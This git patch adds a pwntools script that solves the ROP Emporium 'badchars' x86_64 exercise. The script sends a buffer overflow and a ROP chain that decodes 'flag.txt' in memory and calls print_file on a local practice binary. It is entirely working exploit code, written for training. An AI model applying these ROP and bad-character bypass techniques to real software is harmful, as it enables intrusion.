From 3f54969f581fd311c09b1c21758ad9aa4a8784f4 Mon Sep 17 00:00:00 2001
From: Brett Weiland <brett_weiland@bpcspace.com>
Date: Wed, 16 Dec 2020 21:33:39 -0600
Subject: 	new file:   x86_64/badchars/exploit.py 	new file:  
 x86_64/badchars/exploit_dirty.py 	new file:  
 x86_64/badchars/usefullstuff 	deleted:    x86_64/write4/.exploit.py.swp 
 deleted:    x86_64/write4/.useful_gadgets.swp 	modified:  
 x86_64/write4/exploit.py

---
 x86_64/badchars/exploit_dirty.py | 54 ++++++++++++++++++++++++++++++++++++++++
 1 file changed, 54 insertions(+)
 create mode 100644 x86_64/badchars/exploit_dirty.py

(limited to 'x86_64/badchars/exploit_dirty.py')

diff --git a/x86_64/badchars/exploit_dirty.py b/x86_64/badchars/exploit_dirty.py
new file mode 100644
index 0000000..eab68fe
--- /dev/null
+++ b/x86_64/badchars/exploit_dirty.py
@@ -0,0 +1,54 @@
+#!/usr/bin/env python3
+from pwn import *
+from time import sleep
+
+# gotta go FAST
+# i'll make it clean when I'm not pressured for time
+
+
+prog = process('./badchars')
+payload = b''
+for c in range(40):
+    payload += b'a'
+
+payload += p64(0x000000000040069c)  # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
+payload += b'fl`f-twt'
+payload += p64(0x601be0)
+payload += p64(1)
+payload += p64(0x601be2)
+
+payload += p64(0x0000000000400634) # just pops
+
+payload += p64(0x000000000040062c) # add [r15], r14
+
+payload += p64(0x00000000004006a0) # pops
+payload += p64(1)
+payload += p64(0x601be3)
+
+
+payload += p64(0x000000000040062c) # add [r15], r14
+
+payload += p64(0x00000000004006a0) # pops
+payload += p64(1)
+payload += p64(0x601be4)
+payload += p64(0x000000000040062c) # add [r15], r14
+
+
+payload += p64(0x00000000004006a0) # pops
+payload += p64(1)
+payload += p64(0x601be6)
+payload += p64(0x000000000040062c) # add [r15], r14
+
+
+payload += p64(0x00000000004006a3) # pops rdi
+payload += p64(0x601be0)
+
+payload += p64(0x0000000000400510)
+
+
+payload += b"\n"
+prog.sendline(payload)
+
+sleep(0.5)
+print(prog.recv())
+prog.close()
-- 
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